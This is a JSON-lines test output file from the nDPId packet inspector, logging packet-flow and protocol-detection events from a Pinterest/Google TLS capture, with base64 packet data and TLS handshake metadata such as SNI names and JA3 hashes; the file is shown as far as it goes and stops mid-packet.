+00599{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":616214,"pkt_caplen":187,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":187,"pkt_l4_len":133,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAIUGPSYAGQEAAHoLAAAAAAAAAAAqAcsBIEmLB5kd7IUo3\/YpAbu3uEYmyXEnJzuDgBgLMEiyAAABAQgKwrkjrpXXZQbjgwmhpuGHO8aKOvW5G6nyNUWAGkQ1Xg20GMLEaXvDQF9KZik9+TxSbeUOsRi\/Pv+SiEpb8\/F1jZeySuLGgp02TodaXXnP87TAh9EB9RGJ1WofxaYMWSBWHmG9HF48p92w5KTHQQ=="} +00458{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":616219,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gA76\/ACAGQCoBywEgSYsHmR3shSjf9ikmABkBAAB6CwAAAAAAAAAAt7gBuycnO4NGJslxgBAB9WmdAAABAQgKlddlKcK5I64="} +00458{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":616227,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gA76\/ACAGQCoBywEgSYsHmR3shSjf9ikmABkBAAB6CwAAAAAAAAAAt7gBuycnO4NGJsnWgBAB9Wk4AAABAQgKlddlKcK5I64="} +00469{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":616815,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgWAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbue9py+eGX+6kRroBJXgA2NAAACBAV4AQMDAwQCCArCuSOwyRVPBg=="} +00457{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":616828,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDTn6ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAEnvYBu\/7qRGucvnhmgBAB+5GEAAABAQgKyRVPIMK5I7A="} +01155{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":617005,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDTn6AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAEnvYBu\/7qRGucvnhmgBgB+6l5AAABAQgKyRVPIMK5I7AWAwECAAEAAfwDA\/Gk\/9Vg1\/Yj6dUUpOb5DX8WmaenXohw9y+Qd4DnqktzIAb2YuarrlKbgL6YLTJZPQe97f1AtvLN8fLaoxVIuyFiACAqKhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZO6ugAAAAAAEwARAAAOd3d3Lmdvb2dsZS5jb20AFwAA\/wEAAQAACgAKAAjq6gAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKerqAAEAAB0AIJML4p8NHh5Io\/9KcRl6BBOqQlWgp4uJ9mxBuu8Y\/4wPAC0AAgEBACsACwrq6gMEAwMDAgMBABsAAwIAAlpaAAEAABUAzgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00828{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":517,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1605289714590,"flow_last_seen":1605289714617,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::2004","src_port":40694,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00457{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":651291,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgWAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbue9py+eGb+6kZwgBALMIYoAAABAQgKwrkj0skVTyA="} +00509{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":525,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1605289714658,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33280,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":658043,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCBesACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUggABu2pDSXwAAAAAoAL9ILsUAAACBAWgBAIICs+qM\/8AAAAAAQMDBw=="} +02101{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":528,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":660765,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbue9py+eGb+6kZwgBgLMFKNAAABAQgKwrkj2MkVTyAWAwMAegIAAHYDA4BlmyEukpe5A5ozWtPNWktMr12J8W6ZbNw2r+6q7a7NIAb2YuarrlKbgL6YLTJZPQe97f1AtvLN8fLaoxVIuyFiEwEAAC4AMwAkAB0AIP+XuzXtVkEhtn4vesD6oh9j\/QCzXRXlJarAKs+CmDcMACsAAgMEFAMDAAEBFwMDCb+EIcPcgYSDl9Mt6kOif3Tx1t+T4stQnMJsbCSnoAM2uOlLPnC+8DI5J9wtMnpIBkt5nlZccCMOh8zNP6Ekf8d2QVc4oe6Es2GoH0Gusg9us\/pzYfuuHHawSoW4FSyYKhl2GwuJR7XUCw+UswXTBKfJuQukesZ\/Si\/OKzSpN3Kzkajnxjyqg2KmeGcLC01YhUjHeC8g1bKmLG6LTc0dXyXCEyY3P+29htwgD2Tpbe0BlDf5NLfhDEzdgRFRU6zwlg7o8puy\/C32wnVHjc0Ye3jvB0GAUr3mFdCdN3MxuZRAan52yBs5UmxMPatHQZrqmteqFZJTxpv3aWmqcloaKYYfelu5n\/CHh4SmIUbMnFVea10DBMvW5yoj07C4yK9ihNHHTJL\/wVQTLbfzQPy12kONyQqCHRJYjtOnrmAwk54fcJmVwSykExXqrcHh4PRiMvjeyHERvzzC2Q\/+oIKpRIgsyOnEAZGneXgi2huEiK179OOq7hMN6WQLxoWGWUINnosxqO7boqmSrgb7Fl6J5aXAP3ojuPg8wvIisXC72mf2irMepRHCdc2QeRdhwVJifblvjgoNxCGBDTsgvVEfnTKjVYdKv6PLqV42r54zl93\/CZ50\/RNT2bq\/W\/3YIDHs0f8op3YwX8HMLh1DsA++JfDHKSqB\/CU8gnZLH8fPGEsTQzT0\/nHckCl\/B0nljVoU\/tTbu5wkgxjPPYBrpiglUP2v9O\/6eShNPcjhAEOZjfb7x5TBAOvPVctY0iMfPYGSkrdSDjJ0qe0SRKdH088tLYUpc2ywu3KmiF1klElrU5GLubdD5xE6kb94bRtPz8oYlu5xH6nCw7HZVxOV1uzp4UieuLUU1XIOySwaueCbfy\/K2khJLEgtU0ah8rE\/31TEWuPipiD35AyZstZaQ1dxy48zqb9UAQfCps2rvCXsmbautipV30YYS0JytrNGAFS5pnof6gt\/PYbunS7dC42NE7PywH+TUgl9Z+RZLd7jEevih+X2+Cryc+gLqSh0aZRBhwpixgPAyO7FObFvC9puLeIGrpL9VKtk46YNaNC0pJRkWy28LTjaXJPZEh4nx\/+gzMgiyGXOjI0Bl1eD8bnh73vX5UnhP9AJH6BqJ\/FlMI9aoYltzWuA0nmuy0OS5qt+d6Dm1cV5nXO5pCHmUXhKcjpidZVpPJjovGn6ajx\/sr\/FCOBHVdcmGjoxGLdtQSTlixAOVDmjX4cxuUFODVGONnq7KS4qrNKFRXStveQeQfDkNqA3zwYuoCBIDUidWEHuPSIqB0XePloWIFqoz5nuwghlzNDtPvXsDfzAGv\/5IaYyzdw0WnUREWp4Wn2ODE9IVg98sDrnT5OirBf7RFZmnEy98\/W8WiuCHlDnf4LfQWfBQQxdSOBJDotBe9vL762lu0bKZWTMC+gpY16PpGIGCA=="} +00869{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":528,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":6,"flow_first_seen":1605289714590,"flow_last_seen":1605289714660,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::2004","src_port":40694,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02097{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":660765,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbue9py+fR7+6kZwgBgLMOrZAAABAQgKwrkj2MkVTyDaJxII2vuR+5v7lvHLCQUln2HabYhku3B4YoNU5Py7pD6OvHjar29MikxcVDvwD9NusBRz\/QtiaXuUdasxuF9TDuCosbd1QXqKXK7z6RGr48EqaZFGhUPxxo2cTjg5nEhtD6ebIGFHfDUoRCcKhfNkgj+zPxVOoRcK6KXI92ocji9i2DMLkmFgh0EK61UJPlEnyesc1I7skdEyxZA+oCi\/\/eg+9vMXDT0wwGewKM2B5B60Piu+zCDfSzShWqspxClEWiMAGmaI76461pY8xr40ctkhFaoWfWDKKQmwnmvk0gINPYwN100JLLFys5aKlcIdBmdYoWQD6WwU7Ic4U4Cj27SrEFQ7t4hVk1qvuXvWT72oGR83qqGtHxd0H2W1HS7MqRh+qm1szBBTNm1oVyKhXqU5ROcS6wN276WxXCmLBvCnq9mgJR1LQmSN2yeH8M0RnqmwMkKIL5beU+oDd+YsPE+E03NUxsuX2HTZiTlpNSErSXRejxdRHTvc1ak+CedRJx37UE9W3oZmMEOdk8wE6XP6Y0N2vOSVdwjXY2tgcpb0JD1KhltaigKl12MQC\/657ZO9mS0eznr0Q0akut4sODwRzcV5+yPJnpB5uw8jnYddPABVW\/P1Dop85x4aWMHqUxo1wvT9KzRLtszWYvlileZyaX1v591hYfB6dqcpI\/IRZY5tSLb+6jvbmPlCq6LUmKJFSXPeWi1VMJIpCtkLn9iSe7ehds37taFBTXPkyF2YnbVb42m9may+moLdl9MuLcgKYE6LZ\/8ycQMPqXkDRKKp3iJUA+S1OuDBkBKYIfxsOhxvyWZRNm30Cia8BdEnbKNJjnh8\/nqGh9zSMsAZxEruElqTwhHT3ZPXkm9YI0HSPDR3JRaEHdlX9qUnFwIjyCxUNNc\/f2hyQk\/sM75pd3YlDqkFbB510FD+l3LuvWym2DP9uNtgm6YeaAm60UgHRG+hp8s0AHHaFk57cNwy3Ao3Rj07+n\/I9NZJyuyIO6QdgNH1iOj2eIinq3UOI8Z0elPmyaODDE0o0EBQyM\/PwcnY5LJMMttxhDFp5VkFsubl+Eq+KnugjgUakSLQ5ZuH\/ap37eTn7HQFdF7lMTH1FiGc7ajmkwF\/WZZTApn+iCN9Al87ubRFLbnOwCp7cYqdx2Uji7xrT5Er\/Q0c2Ng5zPIgWmY+HDUYmZB1Zz+z1k\/hxoFJ5mXQstYut4V+H8wNOQmriC3cfOEuXDOcNAhr4itKgViZ5nop2ZZd1iqKf8InlD6k5koY+fJv\/mWIIjxYRg\/6GYFcxhB+kazDe5vm1oxzQlANcasEfvSFt62rYBx4+b7Ye6CvGlFJLCMSgwPJDPGtHrJtVhvsc4oEUDEcJXoCa76SkclaH+o2ynX5JEzEni4jYdisFsuSt2WvS2R2ZyqQuqWeit4BWX9cuCmWqJq3CehQKcjU+LlMkatTEMtbSlTtK9rK6I78UWpMuvcZLUBb4j\/SGdC7mRyQ6uPZhIHSz\/5vFDyrcFh3ikw\/K6Mzlw6SLP2PSuk6W929+S2cgAYDpgyxKkkW2ftQ6kJ3nQwH+xdAr3o2lsyYON\/R8nDWHVY5qlBXtMHP+s80TOUkKqoPAxv6Tw=="} +00457{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":533,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":660793,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDTn6ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAEnvYBu\/7qRnCcvn0egBAB9Yp5AAABAQgKyRVPTMK5I9g="} +00457{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":534,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":660796,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDTn6ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAEnvYBu\/7qRnCcvoHWgBAB8oXEAAABAQgKyRVPTMK5I9g="} +00753{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":660816,"pkt_caplen":303,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":303,"pkt_l4_len":249,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAPkGPSoAFFBABwgWAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbue9py+gdb+6kZwgBgLMPXcAAABAQgKwrkj2MkVTyBKFrJZLFHvJ5f+UFD7ilsPjV2yNHFXSwn6uu58yQn7u0Or0MIflVMXgz6jX\/kOj1amhZH8g\/1XwSn8NOmGG9HJRnoeuyO1K+sPZX8Fohpzwy9MXKovIur8qVQQ8SSDenDmeHZMXyBGmX0DFIhuSkv86pdeFRuZe1yKTYrrJu\/d6JtQmXHkIv+RZSWvB1E3ZczyTVxNqgP89m6eOwZdI3b0PTW1bxmc3RyCbE8DSl0feJkihTEQxKSo97D4ZkMk2\/Z9spON0GyGlU7oRu9Qx7wzLdOISnBDZozt"} +00458{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":660820,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDTn6ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAEnvYBu\/7qRnCcvoKvgBAB8YTsAAABAQgKyRVPTMK5I9g="} +00545{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":663195,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gDTn6AGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAEnvYBu\/7qRnCcvoKvgBgB9RTTAAABAQgKyRVPT8K5I9gUAwMAAQEXAwMANSmk5A8eakPxSKCxLdL613ENqRg6g2cLAUTIz1VlEFUVV\/n8Gt0CAER41S+EV8hpe6Hcell1"} +00586{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":663305,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gDTn6AHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAEnvYBu\/7qRrCcvoKvgBgB9UITAAABAQgKyRVPT8K5I9gXAwMAV4uOVLiygKJ7jhCKunCRybi24hhdNAT68p6zvdN0nWXMix7UWqBX5ZuiCp6bIbslzSVVcvh9FI\/IUhpb3e1z50X4PH0X2nuaw+JGkCHx1msjktzrAY8DEQ=="} +00900{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":663435,"pkt_caplen":409,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":409,"pkt_l4_len":355,"pkt":"qtsDr8lk5EKm5WPyht1gDTn6AWMGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAEnvYBu\/7qRwycvoKvgBgB9XNQAAABAQgKyRVPT8K5I9gXAwMBPn9UMViBbnPfnS\/HlD4vWF7eP9Ah0BbrPoSIiitNghj03x001Px3bCsM\/qMB66m2oP4R64AI41vS\/2owjcm+KieT9cS8Z3ghd4Tao50cyZOYEylQ6230q+eiQx41PkJTL78iusJEAoMCMS5YCRAd0rJFYIZpMazjPNgjjitV7JjH+X2r5Nw5flmPTSg1WjC8YbFlArPGULqudK+7uYIDt8xEIskac4MYdHo1b0my\/wFyaoJ+bHTXyuWnXsIwS7ZCQM\/YgjvSRTh7wAe1EfrW+e\/JHSXozkDkZRE0uYjp\/rsuHPthZibRGcz3dqvhXcxTCy4mz34iaLnOFG7Giw+bCKbqn560yNUHEwdEoENVxdMYAycVOuyjPViclAF+ZCXqrE3E4eRFWtXDMIbSo+lE2KEEpHv0TZscG7280xcaXQ=="} +00471{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":697878,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuCAAsx4c9qQ0l9oBJXgI0UAAACBAV4AQMDAwQCCArCuSQBz6oz\/w=="} +00456{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":697936,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCBesACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUggABu2pDSX0LMeHQgBAB+xD+AAABAQgKz6o0J8K5JAE="} +01152{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":698324,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCBesAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUggABu2pDSX0LMeHQgBgB++hnAAABAQgKz6o0KMK5JAEWAwECAAEAAfwDA9jVKfntEh25nXj1BFZE6ZFc6lyzI+CshbYOPn0Jce38IK9kDSD6\/4FSA\/aOBvpuajY1lLZq5tukFPFFFO\/eMmwPACBKShMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPa2gAAAAAAGwAZAAAWYWNjb3VudHMucGludGVyZXN0LmNvbQAXAAD\/AQABAAAKAAoACEpKAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApSkoAAQAAHQAgyukN47oVi6AebwU11bCozo+bX5ZAWB5eRNnx4Nhm1GIALQACAQEAKwALCoqKAwQDAwMCAwEAGwADAgACamoAAQAAFQDGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00839{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":544,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1605289714658,"flow_last_seen":1605289714698,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33280,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"accounts.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00459{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":699992,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgWAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbue9py+gq\/+6kawgBALOHs4AAABAQgKwrkkAskVT08="} +00458{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":737758,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuCAAsx4dBqQ0uCgBALMAWbAAABAQgKwrkkKc+qNCg="} +01868{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":739608,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuCAAsx4dBqQ0uCgBgLMILxAAABAQgKwrkkK8+qNCgWAwMAUgIAAE4DAyKgk9ZkpLVBQFdhk85OisfIe7ggv2JbA\/iMndx8BfUWAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykp